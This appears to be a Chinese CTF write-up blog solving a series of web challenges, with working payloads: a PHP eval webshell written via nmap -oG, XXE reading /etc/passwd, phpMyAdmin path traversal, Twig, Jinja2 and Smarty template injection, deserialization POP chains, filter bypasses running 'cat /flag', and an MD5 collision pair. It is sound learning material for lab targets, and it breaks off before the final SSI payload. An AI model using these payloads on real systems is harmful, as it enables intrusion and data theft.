1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php if (isset ($_SERVER ['HTTP_X_FORWARDED_FOR' ])) { $_SERVER ['REMOTE_ADDR' ] = $_SERVER ['HTTP_X_FORWARDED_FOR' ]; }if (!isset ($_GET ['host' ])) { highlight_file (__FILE__ ); } else { $host = $_GET ['host' ]; $host = escapeshellarg ($host ); $host = escapeshellcmd ($host ); $sandbox = md5 ("glzjin" . $_SERVER ['REMOTE_ADDR' ]); echo 'you are in sandbox ' .$sandbox ; @mkdir ($sandbox ); chdir ($sandbox ); echo system ("nmap -T5 -sT -Pn --host-timeout 2 -F " .$host ); }
HTTP_X_FORWARDED_FOR HTTP扩展头部,用来表示http请求端真实ip
REMOTE_ADDR代表客户端的IP,但它的值不是由客户端提供的,而是服务端根据客户端的ip指定的,当你的浏览器访问某个网站时,假设中间没有任何代理,那么网站的web服务器(Nginx,Apache等)就会把remote_addr设为你的机器IP,如果你用了某个代理,那么你的浏览器会先访问这个代理,然后再由这个代理转发到网站,这样web服务器就会把remote_addr设为这台代理机器的IP。
本题主要考察的是escapeshellarg和escapeshellcmd这两个函数
escapeshellarg:对传入的字符串用一对单引号包围,将内容的’先用反斜杠转义,再添加一对单引号包围,即单引号会被转义为’'‘
escapeshellcmd:对\以及最后那个不配对儿的引号进行转义
1 2 3 4 传入的参数是172.17.0.2' -v -d a=1 经过escapeshellarg处理后变成了' 172.17.0.2'\' ' -v -d a=1' ,即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。 经过escapeshellcmd处理后变成'172.17.0.2' \\'' -v -d a =1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义: 最后执行的命令是curl '172.17.0.2' \\'' -v -d a =1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a =1',即向172.17.0.2\发起请求,POST数据为a=1'。
两次转义后出现了问题,没有考虑到单引号的问题 再往下看,看到echo system(“nmap -T5 -sT -Pn –host-timeout 2 -F “.$host); 这里有个system来执行命令,而且有传参,肯定是利用这里了
这里代码的本意是希望我们输入ip这样的参数做一个扫描,通过上面的两个函数来进行规则过滤转义,我们的输入会被单引号引起来,但是因为我们看到了上面的漏洞所以我们可以逃脱这个引号的束缚
在nmap命令中,有一个参数-oG可以实现将命令和结果写到文件,这个命令就是我们的输入可控,然后写入到文件,传入一句话木马 注意引号加空格,不加空格会将语句转义。
1 ?host=' <?php @eval ($_POST ["a" ]);?> -oG 1.php '
进入MD5目录下的1.php 开始RCE
1 2 3 4 POST: a=system ('ls' ); a=system ('ls /' ); a=system ('cat /flag' );
这里有两个小问题
首先是后面没有加引号
1 ?host=' <?php @eval ($_POST ["a" ]);?> -oG 1.php
先经过escapeshellarg()函数处理,该函数会先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
1 ?host='' \'' <?php @eval ($_POST ["a" ]);?> -oG 1 .php'
再经过escapeshellcmd()函数处理,escapeshellcmd对\以及最后那个不配对儿的引号进行了转义,转义命令中的所有shell元字符来完成工作。这些元字符包括:#&;`,|*?~<>^()[]{}$\\。
1 ?h ost='' \'' \<\?p hp @eval \($_POST \["a" \]\)\;\?\> -oG 1 .php\'
返回结果是上面那样文件名后面会多一个引号1.php’
第二个是加引号但引号前没有空格
1 ?host=' <?php @eval ($_POST ["a" ]);?> -oG 1.php'
运行结果如下
1 '' \\'' \<\?p hp @eval \($_POST \["a" \]\)\;\?\> -oG 1 .php'\\' ''
文件名后面就会多出\\
1.php\\
PHP escapeshellarg()+escapeshellcmd() 之殇
[NCTF2019]Fake XML cookbook 先尝试sql注入,行不通 看看源码 找到一个php文件 还有contentType: "application/xml;charset=utf-8",
进入doLogin.php 发现都指向xml 那么xml有个xxe漏洞,抓包看能否利用一下,构建一个恶意的外部实体 payload
1 2 3 4 5 <?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE a [ <!ENTITY admin SYSTEM "file:///etc/passwd" > ]> <user > <username > &admin; </username > <password > 123456</password > </user >
可行,看能不能直接读取flag payload
1 2 3 4 5 <?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE a [ <!ENTITY admin SYSTEM "file:///flag" > ]> <user > <username > &admin; </username > <password > 123456</password > </user >
传送门===>浅谈XML实体注入漏洞
[GWCTF 2019]我有一个数据库 整了个这么个界面,有点迷糊,抓包源码都没获得有效的信息 用dirsearch扫扫,扫到了robots.txt,里面提示了个phpinfo.php,还是没有找到有效的信息 再往后继续扫到了phpmyadmin,进入查看,数据库里一大堆内容根本懒得看 查阅到4.8.0 <= phpMyAdmin < 4.8.2版本的phpmyadmin都是有文件包含漏洞漏洞复现 例如传入
1 ?target = db_datadict.php%253 f
由于服务器会自动解码一次,所以在checkPageValidity()中,$page的值一开始会是db_datadict.php%3f,又一次url解码后变成了db_datadict.php?,这便符合了?前内容在白名单的要求,函数返回true但在index.php中$_REQUEST[‘target’]仍然是db_datadict.php%3f,而且会被include,通过目录穿越,就可造成任意文件包含
漏洞原理是: 利用/使db_datadict.php?成为一个不存在目录,利用include函数的目录不断跳转尝试得到flag目录。
1 2 3 %25 的url编码为%%3f 的url编码为?%253f -->?
payload
1 ?target=db_sql.php%253 f/../ ../../ ../../ ../etc/ passwd
可以成功执行,获取到了passwd文件的内容,尝试查找flag payload
1 ?target=db_sql.php%253 f/../ ../../ ../../ ../flag
BJDCTF2020 Mark loves cat 查看源码以及抓包,没有找到有用的信息 尝试dirsearch扫描,发现存在.git泄露 那么直接用git_hack扫出文件 在index.php文件中找出php源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php/*include 'flag.php';*/ highlight_file(__FILE__);$yds = "dog" ;$is = "cat" ;$handsome = 'yds' ; foreach($_POST as $x => $y ){ $$x = $y ; } foreach($_GET as $x => $y ){ $$x = $$y ; } foreach($_GET as $x => $y ){ if ($_GET ['flag' ] === $x && $x !== 'flag' ){ exit ($handsome ); } }if (!isset($_GET ['flag' ]) && !isset($_POST ['flag' ])){ exit ($yds ); }if ($_POST ['flag' ] === 'flag' || $_GET ['flag' ] === 'flag' ){ exit ($is ); }
exit和die一样,都是输出一条信息后退出当前脚本 上面的代码中最重要的两块代码
1 2 3 4 5 6 7 8 9 foreach($_GET as $x => $y ){ $$x = $$y ; } foreach($_GET as $x => $y ){ if ($_GET ['flag' ] === $x && $x !== 'flag' ){ exit ($handsome ); } }
利用一下,先解释一下可变变量: 如果一个变量保存的值刚好是另外一个变量的名字,那么可以直接通过访问一个变量得到另外一个变量的值:在变量之前再多加一个$符号 例:
1 2 3 4 5 $a ='b';$b ='bbbb'; echo $ $ a;$ $ a->$ b
简单理解为$$a相当于$($a) 再对上面的代码进行解读
1 2 3 foreach ($_GET as $x => $y ){ $ $x = $ $y ; }
比如GET输入a=flag 那么$x=a,$y=flag $$x = $$y所以$a=$flag,配合exit这样就可以输入$flag的值了 构造payload 1 ?handsome=flag &x=flag &flag =x
handsome=flag不用说 就是让$handsome=$flag 后面的目的就是让我们传入的变量是 flag 值不是flag 进而能够exit handsome 这里的值表面是 x 但前面我们进行了变量覆盖使得 x=flag 所以在这里我们输出x的值就是flag的值
[WUSTCTF2020]朴实无华 看到这种没有很多描述的题直接掏出dirsearch 扫出robots.txt 里面提示了fAke_f1agggg.php 进入查看,不出意料 哪哪都看一看 找到一个 很难绷 探索到一个新功能🙂 转化之后
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php header ('Content-type:text/html;charset=utf-8' );error_reporting (0 );highlight_file (__file__);if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if (intval ($num ) < 2020 && intval ($num + 1 ) > 2021 ){ echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>" ; }else { die ("金钱解决不了穷人的本质问题" ); } }else { die ("去非洲吧" ); }if (isset ($_GET ['md5' ])){ $md5 =$_GET ['md5' ]; if ($md5 ==md5 ($md5 )) echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>" ; else die ("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲" ); }else { die ("去非洲吧" ); }if (isset ($_GET ['get_flag' ])){ $get_flag = $_GET ['get_flag' ]; if (!strstr ($get_flag ," " )){ $get_flag = str_ireplace ("cat" , "wctf2020" , $get_flag ); echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>" ; system ($get_flag ); }else { die ("快到非洲了" ); } }else { die ("去非洲吧" ); }?>
好受多了,现在也容易了 直接payload
1 2 3 4 ?num = 3e4 &md5 =0e215962017 &get_flag =ls ?num = 3e4 &md5 =0e215962017 &get_flag =tac${ IFS} fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
[BJDCTF2020]Cookie is so stable 输入admin试试 回显admin 找到源代码 看看能不能x一下 被html转为实体字符了,不能x hint中有提醒Why not take a closer look at cookies? 抓包看看 有两个包,第二个包cookie中user可以改变页面回显 那就抓到第二个包 本题的知识点是利用服务器模板注入攻击,SSTI里面的Twig攻击 判断模板注入类型的方法 输入49,返回49表示是Twig模块 输入49,返回7777777表示是jinja2模块 在cookie处进行判断 user=49,查看返回值 判断为Twig注入 由于是Twig注入,所以有国定的payload
1 2 {{_self.env.registerUndefinedFilterCallback ("exec" )}} {{_self.env.getFilter ("id" )}} //查看id {{_self.env.registerUndefinedFilterCallback ("exec" )}} {{_self.env.getFilter ("cat /flag" )}} //查看flag
Twig模板注入从零到一
[安洵杯 2019]easy_web url有点奇怪 cmd随便输入123 有回显,执行一下命令 echo%201,forbid ~ 被禁止了 再看img,有点像base64编码过的,base64解码一下 更像base64编码过的了 再来一下 16进制解码试试 路子都知道了 在img里上传一个index.php试试 同样的方法再编码
1 2 3 4 5 6 7 index.php// to HEX696 e6465782e706870// to Base64 Njk2ZTY0NjU3ODJlNzA2ODcw// to Base64 TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
base64编码转图片 下载下来后用记事本打开,php源码就找出来了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php error_reporting (E_ALL || ~ E_NOTICE);header ('content-type:text/html;charset=utf-8' );$cmd = $_GET ['cmd' ];if (!isset ($_GET ['img' ]) || !isset ($_GET ['cmd' ])) header ('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=' );$file = hex2bin (base64_decode (base64_decode ($_GET ['img' ])));$file = preg_replace ("/[^a-zA-Z0-9.]+/" , "" , $file );if (preg_match ("/flag/i" , $file )) { echo '<img src ="./ctf3.jpeg">' ; die ("xixi~ no flag" ); } else { $txt = base64_encode (file_get_contents ($file )); echo "<img src='data:image/gif;base64," . $txt . "'></img>" ; echo "<br>" ; }echo $cmd ;echo "<br>" ;if (preg_match ("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i" , $cmd )) { echo ("forbid ~" ); echo "<br>" ; } else { if ((string )$_POST ['a' ] !== (string )$_POST ['b' ] && md5 ($_POST ['a' ]) === md5 ($_POST ['b' ])) { echo `$cmd `; } else { echo ("md5 is funny ~" ); } }?>
重点是下面的代码
1 2 3 4 5 6 7 8 9 10 11 if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\' |\" |\`|;|,|\*|\?|\\ |\\ \\ |\n |\t |\r |\xA0|\{|\}|\(| \) |\&[^\d]|@|\||\\ $|\[|\]|{|}|\(| \) |-|<|>/i" , $cmd )) { echo("forbid ~" ); echo "<br>" ; } else { if ((string)$_POST ['a'] !== (string)$_POST ['b'] && md5($_POST ['a']) === md5($_POST ['b'])) { echo `$cmd `; } else { echo ("md5 is funny ~" ); } }
下面的MD5可以用MD5强碰撞来绕过
1 a= %4 d%c9 %68 %ff %0 e%e3 %5 c %20 %95 %72 %d4 %77 %7 b%72 %15 %87 %d3 %6 f%a7 %b2 %1 b%dc %56 %b7 %4 a%3 d%c0 %78 %3 e%7 b%95 %18 %af %bf %a2 %00 %a8 %28 %4 b%f3 %6 e%8 e%4 b%55 %b3 %5 f%42 %75 %93 %d8 %49 %67 %6 d%a0 %d1 %55 %5 d%83 %60 %fb %5 f%07 %fe %a2 &b= %4 d%c9 %68 %ff %0 e%e3 %5 c %20 %95 %72 %d4 %77 %7 b%72 %15 %87 %d3 %6 f%a7 %b2 %1 b%dc %56 %b7 %4 a%3 d%c0 %78 %3 e%7 b%95 %18 %af %bf %a2 %02 %a8 %28 %4 b%f3 %6 e%8 e%4 b%55 %b3 %5 f%42 %75 %93 %d8 %49 %67 %6 d%a0 %d1 %d5 %5 d%83 %60 %fb %5 f%07 %fe %a2
反引号为system ls&cat被禁用? 没关系 反斜杠绕过
1 2 3 cmd = l\scmd = l\s%20 /cmd = ca\t%20 /flag
强碰撞不建议用hackbar,用burp
[MRCTF2020]Ezpop 先上源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 <?php class Modifier { protected $var ; public function append ($value ) { include ($value ); } public function __invoke ( ) { $this ->append ($this ->var ); } }class Show { public $source ; public $str ; public function __construct ($file ='index.php' ) { $this ->source = $file ; echo 'Welcome to ' .$this ->source."<br>" ; } public function __toString ( ) { return $this ->str->source; } public function __wakeup ( ) { if (preg_match ("/gopher|http|file|ftp|https|dict|\.\./i" , $this ->source)) { echo "hacker" ; $this ->source = "index.php" ; } } }class Test { public $p ; public function __construct ( ) { $this ->p = array (); } public function __get ($key ) { $function = $this ->p; return $function (); } }if (isset ($_GET ['pop' ])){ @unserialize ($_GET ['pop' ]); }else { $a =new Show ; highlight_file (__FILE__ ); }
一共三个类
先分析Modifier类
1 2 3 4 5 6 7 8 9 class Modifier { protected $var ; public function append ($value ) { include ($value ); } public function __invoke ( ) { $this ->append ($this ->var ); } }
定义一个append函数 有个include,我们可以用伪协议来获得flag.php的内容,而include需要__invoke方法来调用,__invoke触发方法为:当尝试以调用函数的方式调用一个对象时,方法会被自动调用。。
再来分析Show类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 class Show { public $source ; public $str ; public function __construct ($file ='index.php' ) { $this ->source = $file ; echo 'Welcome to ' .$this ->source."<br>" ; } public function __toString ( ) { return $this ->str->source; } public function __wakeup ( ) { if (preg_match ("/gopher|http|file|ftp|https|dict|\.\./i" , $this ->source)) { echo "hacker" ; $this ->source = "index.php" ; } } }
先看__toString方法,是个输出点
最后分析Test类
1 2 3 4 5 6 7 8 9 10 11 class Test { public $p ; public function __construct ( ) { $this ->p = array (); } public function __get ($key ) { $function = $this ->p; return $function (); } }
__get()方法,(当访问类中的私有属性或者是不存在的属性,触发__get魔术方法),而Modifier类中有私有属性,这两个类配合一下
思路: 首先使
1 $var =php:// filter/read=convert.base64-encode/ resource=flag.php
由于protect被保护的变量类外部无法访问,所以在类里面定义 然后使用Test类里的__get方法调用Modifier类中的__invoke方法,使$p这个变量为Modifier这个对象就可以调用__invoke方法,最后使用Show这个类里的__toString方法输出被包含的flag 使用Test类中的__Get方法调用Modifier类中的__invoke方法很简单 使Test->p=new Modifier(); Show中__wakeup方法 ,preg_match对类中的source进行比较,将它作为字符串,所以就调用了__toString方法 __toString是在对象被当成字符串的时候调用 所以这里我们需要使Show->source = new Show(); 即可调用__toString方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 <?php class Modifier { protected $var ="php://filter/read=convert.base64-encode/resource=flag.php" ; public function append ($value ) { include ($value ); } public function __invoke ( ) { $this ->append ($this ->var ); } }class Show { public $source ; public $str ; public function __construct ($file = "index.php" ) { $this ->source = $file ; echo 'Welcome to ' . $this ->source . "<br>" ; } public function __toString ( ) { return $this ->str->source; } public function __wakeup ( ) { if (preg_match ("/gopher|http|file|ftp|https|dict|\.\./i" , $this ->source)) { echo "hacker" ; $this ->source = "index.php" ; } } }class Test { public $p ; public function __construct ( ) { $this ->p = array (); } public function __get ($key ) { $function = $this ->p; return $function (); } }$a = new Modifier ();$b = new Show ();$c = new Test ();$c ->p = $a ;$b ->source = new Show ();$b ->source->str = $c ;echo serialize ($b );
[MRCTF2020]PYWebsite 这里的buy it now 是有超链接的 微信扫一扫先 拜托!你不会真的想PY到flag吧,这样可是违规的!再好好分析一下界面代码吧 好吧,另辟蹊径 回到主页面,审计源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 function enc (code ){ hash = hex_md5(code); return hash ; } function validate ( ){ var code = document.getElementById("vcode" ).value; if (code != "" ){ if (hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c" ){ alert("您通过了验证!" ); window.location = "./flag.php" }else { alert("你的授权码不正确!" ); } }else { alert("请输入授权码" ); } }
这里有个flag.php,看看能不能直接查看 重点是这一句话: 验证逻辑是在后端的,除了购买者和我自己,没有人可以看到flag 除了购买者和我自己? 伪造IP试试 源代码中查看flag
[ASIS 2019]Unicorn shop 看到给的历史输入,还以为是sql注入,注入了半天毛都没有 看看源码👀 这里提示<meta charset="utf-8">
非常重要 但是很多的网站都是utf-8编码,为什么会说这里很重要? 回到购买界面,我们输入其他的价格,发现输入10的时候有提示 只能输入一个字符 一个字符能够购买的就只有前三只独角兽,但是都没有购买成功,想必突破点在第四只独角兽上,先找到一个比1337大的数 当什么都不输入直接购买时会出现以下提示 看一下 unicodedata.numeric这个函数,他的参数是price 前端html使用的是utf-8,后端python处理使用的是unicode,编码不一致造成了转码问题 传入万试试 flag成功回显 如果不想用万的话可以去找一个Unicode编码网站传送门 例如输入ten thousand 找到一个Numeric Value大于等于10000的数值 直接复制上面的特殊符号或者下面的UTF-8 Encoding 找到UTF-8 Encoding:0xE1 0x8D 0xBC 将0x替换成% 购买得到flag
[WesternCTF2018]shrine 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import flaskimport os app = flask.Flask(__name__) app.config['FLAG' ] = os.environ.pop('FLAG' )@app.route('/' ) def index (): return open (__file__).read()@app.route('/shrine/<path:shrine>' ) def shrine (shrine ): def safe_jinja (s ): s = s.replace('(' , '' ).replace(')' , '' ) blacklist = ['config' , 'self' ] return '' .join(['{{% set {}=None%}}' .format (c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine))if __name__ == '__main__' : app.run(debug=True )
首先在shrine路径下测试ssti能否正常执行
1 2 3 4 5 6 def safe_jinja (s): s = s.replace ('(' , '' ).replace (')' , '' ) blacklist = ['config' , 'self' ] return '' .join (['{{% set {}=None%}}' .format (c) for c in blacklist]) + s return flask.render_template_string (safe_jinja (shrine))
再来分析这段代码 这段代码使用了一个黑名单blacklist,其中包含了要在传入的字符串s中被替换的一些字符串(在这里config和self)。对于每个黑名单的字符串c,它都会生成一个jinja2模板语法的字符串{{% set c=None %}}
,然后将这些字符串连接到原始的字符串s之后 python还有一些内置函数比如url_for和get_flashed_messages payload
1 /shrine/ {{url_for.__globals__}}// 返回视图函数的url,对对象的全局命名空间的访问
payload
1 2 3 // current_app 允许你获取当前应用的一些属性和配置信息/shrine/ {{url_for.__globals__['current_app' ].config}} ->获取flag
config不是被列为黑名单了嘛??? 假设shrine为/shrine/{{url_for.__globals__['current_app'].config}}
然后传递给safe_jinja函数,在这个情况下,blacklist包含了config,所以生成的jinja2模板字符串如下
1 {{% set config =None %}} /shrine/ {{url_for.__globals__ ['current_app'].config}}
这个字符串中的{{% set config=None %}}
部分是为了尝试设置config变量为None,但由于Jinja2的语法,这个设置操作在字符串中仅仅是一个字符串的一部分,而不会真正地执行。
因此,尽管看起来好像config被设置为None,实际上Jinja2只是把这部分当作普通的文本对待,并没有执行它。因此,在渲染模板时,config的值仍然是url_for.__globals__['current_app'].config
,而没有被设置为None
[NPUCTF2020]ReadlezPHP 检索源代码 找到一个php文件,进去康康
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php class HelloPhp { public $a ; public $b ; public function __construct ( ) { $this ->a = "Y-m-d h:i:s" ; $this ->b = "date" ; } public function __destruct ( ) { $a = $this ->a; $b = $this ->b; echo $b ($a ); } }$c = new HelloPhp ;if (isset ($_GET ['source' ])) { highlight_file (__FILE__ ); die (0 ); } @$ppp = unserialize ($_GET ["data" ]);
没啥好分析的,直接赋值序列化
1 2 3 4 $c ->b='assert' ;$c ->a="phpinfo()" ; echo serialize($c );// O:8 :"HelloPhp" :2 :{s:1 :"a" ;s:9 :"phpinfo()" ;s:1 :"b" ;s:6 :"assert" ;}
在对象被销毁时,__destruct会被调用 也就是
1 echo assert ("phpinfo()" );
assert与eval的功能基本相同,但不需要后面加;
还有参数source不能出现,不然die(0)会直接结束脚本 payload
1 ?d ata=O: 8 :"HelloPhp" : 2 : {s: 1 :"a" ;s: 9 :"phpinfo()" ;s: 1 :"b" ;s: 6 :"assert" ;}
详细–>eval与assert <–
[CISCN2019 华东南赛区]Web11 检索页面发现有个显示ip的地方 先康康能不能xff伪造下ip 这时看到最下面显示 Build With Smarty ! Smarty是一个PHP的模板引擎,提供让程序逻辑与页面显示(HTML/CSS)代码分离的功能。该框架出现过SSTI漏洞 ssti先上一张图 测试a{*comment*}b
按照正常逻辑,应该用php语言去查找flag。一般情况下输入{$smarty.version}就可以看到返回的smarty的版本号。该题目的Smarty版本是3.1.30 在Smarty3的官方手册里有以下描述: Smarty已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用。所以只能另找方法{if}标签 官方文档中看到这样的描述: smarty的{if}条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if}也可以使用{else}和{elseif}.全部的PHP条件表达式和函数都可以在if内使用,如||*,or,&&,and,is_array(),等等。。。所以也可以使用{if show_source("/flag")}{/if}
来获得flag 或是
1 {if system('cat flag')} {/if }
在前面的模板图中我们还可以使用另一种方法 xff中输入
再输入
回显为49 确定为twig模板 RCE
1 2 3 4 {{system ('ls' )}} //css index.php smarty templates_c xff {{system ('ls /' )}} {{system ('cat /flag' )}}
flag在源码中👀
[CISCN 2019 初赛]Love Math 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php error_reporting (0 );if (!isset ($_GET ['c' ])){ show_source (__FILE__ ); }else { $content = $_GET ['c' ]; if (strlen ($content ) >= 80 ) { die ("太长了不会算" ); } $blacklist = [' ' , '\t' , '\r' , '\n' ,'\'' , '"' , '`' , '\[' , '\]' ]; foreach ($blacklist as $blackitem ) { if (preg_match ('/' . $blackitem . '/m' , $content )) { die ("请不要输入奇奇怪怪的字符" ); } } $whitelist = ['abs' , 'acos' , 'acosh' , 'asin' , 'asinh' , 'atan2' , 'atan' , 'atanh' , 'base_convert' , 'bindec' , 'ceil' , 'cos' , 'cosh' , 'decbin' , 'dechex' , 'decoct' , 'deg2rad' , 'exp' , 'expm1' , 'floor' , 'fmod' , 'getrandmax' , 'hexdec' , 'hypot' , 'is_finite' , 'is_infinite' , 'is_nan' , 'lcg_value' , 'log10' , 'log1p' , 'log' , 'max' , 'min' , 'mt_getrandmax' , 'mt_rand' , 'mt_srand' , 'octdec' , 'pi' , 'pow' , 'rad2deg' , 'rand' , 'round' , 'sin' , 'sinh' , 'sqrt' , 'srand' , 'tan' , 'tanh' ]; preg_match_all ('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/' , $content , $used_funcs ); foreach ($used_funcs [0 ] as $func ) { if (!in_array ($func , $whitelist )) { die ("请不要输入奇奇怪怪的函数" ); } } eval ('echo ' .$content .';' ); }
很有意思的题,照着答案+chat分析了很久,长见识了😊
1 2 3 if (strlen($content) >= 80 ) { die ("太长了不会算" ); }
这个直接过,一般不会超过80个字符的
1 2 3 4 5 6 $blacklist = [' ' , '\t' , '\r' , '\n' ,'\'' , '"' , '`' , '\[' , '\]' ]; foreach ($blacklist as $blackitem ) { if (preg_match ('/' . $blackitem . '/m' , $content )) { die ("请不要输入奇奇怪怪的字符" ); } }
给了个黑名单先不管
1 2 3 4 5 6 preg_match_all('/ [a -zA -Z_\x7f -\xff ][a -zA -Z_0-9\x7f -\xff ]* / ', $content , $used_funcs ) ; foreach ($used_funcs[0 ] as $func) { if (!in _array($func , $whitelist ) ) { die("请不要输入奇奇怪怪的函数" ); } }
又给了个白名单,if里的意思为得有白名单里的函数
太抽象了,先理解为检索白名单 一个知识点是php中可以把函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数。 理想中的传参是
1 ?c=($_GET [a])($_GET [b])&a=system&b=cat /flag
但是这里的a,b都不是白名单里的,这里替换一下
1 ?c=($ _GET[pi ])($ _GET[abs ])&pi =system &abs =cat /flag
这里的_GET是无法进行直接替换,而且[]也被黑名单过滤了 看看白名单有什么可以用的函数hex2bin()函数 hex2bin()函数把十六进制值的字符串转换为ASCii字符 把_GET转化为十六进制 hex2bin(5f 47 45 54)就是_GET,但是hex2bin()函数也不是白名单里面的,而且这里的5f 47 45 54也不能直接填入,这里会被
1 preg_match_all('/ [a -zA -Z_\x7f -\xff ][a -zA -Z_0-9\x7f -\xff ]* / ', $content , $used_funcs ) ;
来进行白名单的检测 这里的hex2bin()函数可以通过base_convert()函数来进行转换 base_convert()函数能够在任意进制之间转换数字 base_convert(37907361743,10,36)等于hex2bin(别问为什么是36进制,问就是这么转换会等于hex2bin😊)
里面的5f 47 45 54要用dechex()函数将10进制转换为16进制的数 dechex(1598506324),1598506324转换为16进制就是5f 47 45 54
payload
1 /?c=$ pi =base_convert(37907361743 ,10 ,36 )(dechex(1598506324 ));($ $ pi ){pi }(($ $ pi ){abs })&pi =system &abs =cat /flag
flag出来了,再详细分析下 从前往后
base_convert(37907361743,10,36)->hex2bin
dechex(1598506324)->5f 47 45 54
$pi=hex2bin(5f 47 45 54)->$pi=_GET
管道符;连接
($$pi){pi}(($$pi){abs})
($_GET){pi}(($_GET){abs})
这个表达式实际上会尝试执行$_GET(pi)($_GET(abs))
所以此时c的值为c=_GET$_GET(pi)($_GET(abs))
后面有对pi和abs赋值,带入
c=system(cat /flag)
[BSidesCF 2019]Futurella 好简单,就藏在源代码里
[BSidesCF 2019]Kookie 并不是sql注入和xss 一定要注意题目给的提示 输入username和password,可以看到是以GET方式发送的 获取关键词cookie 尝试用cookie登录 &password=123多余了 去掉试试
[BJDCTF2020]EasySearch sql注不出来,查看源码也没有什么有效的信息 用dirsearch扫一扫 没有扫出什么东西,可能是我的dirsearch太低级了 看了下别人的博客,dirsearch扫出了index.php.swp 找到了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php ob_start (); function get_hash ( ) { $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-' ; $random = $chars [mt_rand (0 ,73 )].$chars [mt_rand (0 ,73 )].$chars [mt_rand (0 ,73 )].$chars [mt_rand (0 ,73 )].$chars [mt_rand (0 ,73 )]; $content = uniqid ().$random ; return sha1 ($content ); } header ("Content-Type: text/html;charset=utf-8" ); *** if (isset ($_POST ['username' ]) and $_POST ['username' ] != '' ) { $admin = '6d0bc1' ; if ( $admin == substr (md5 ($_POST ['password' ]),0 ,6 )) { echo "<script>alert('[+] Welcome to manage system')</script>" ; $file_shtml = "public/" .get_hash ().".shtml" ; $shtml = fopen ($file_shtml , "w" ) or die ("Unable to open file!" ); $text = ' *** *** <h1>Hello,' .$_POST ['username' ].'</h1> *** ***' ; fwrite ($shtml ,$text ); fclose ($shtml ); *** echo "[!] Header error ..." ; } else { echo "<script>alert('[!] Failed')</script>" ; }else { *** } ***?>
1 if ( $admin == substr (md5 ($_POST['password' ] ),0 ,6 ))
没有绕过方法,写一个python脚本
1 2 3 4 5 6 7 8 9 10 import hashlib def crack (pre): for i in range (0 , 9999999 ): if (hashlib.md5 (str (i).encode ("UTF-8" )).hexdigest ())[0 :6 ] == str (pre): print (i) breakcrack ("6d0bc1" )
得出为2020666 输入
1 password =2020666 &username=admin
页面发出警告说明已经通过
1 2 3 4 5 6 7 8 9 10 $file_shtml = "public/" .get_hash().".shtml" ; $shtml = fopen($file_shtml, "w" ) or die ("Unable to open file!" ); $text = ' *** *** <h1>Hello,' .$_POST['username' ].'</h1> *** ***' ; fwrite($shtml,$text); fclose($shtml);
这里的get_hash()值是不可能求出来的,只能找出来,再在页面上找找
看到client ip就想xff一下,可惜x不了 这题的思路是利用”Apache SSI远程命令执行漏洞”Apache SSI 远程命令执行漏洞复现 页面回显了username,password不能动 看到.shtml后缀,我们就可以利用一下 当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用<!--#exec cmd="id" -->
语法执行命令。 payload
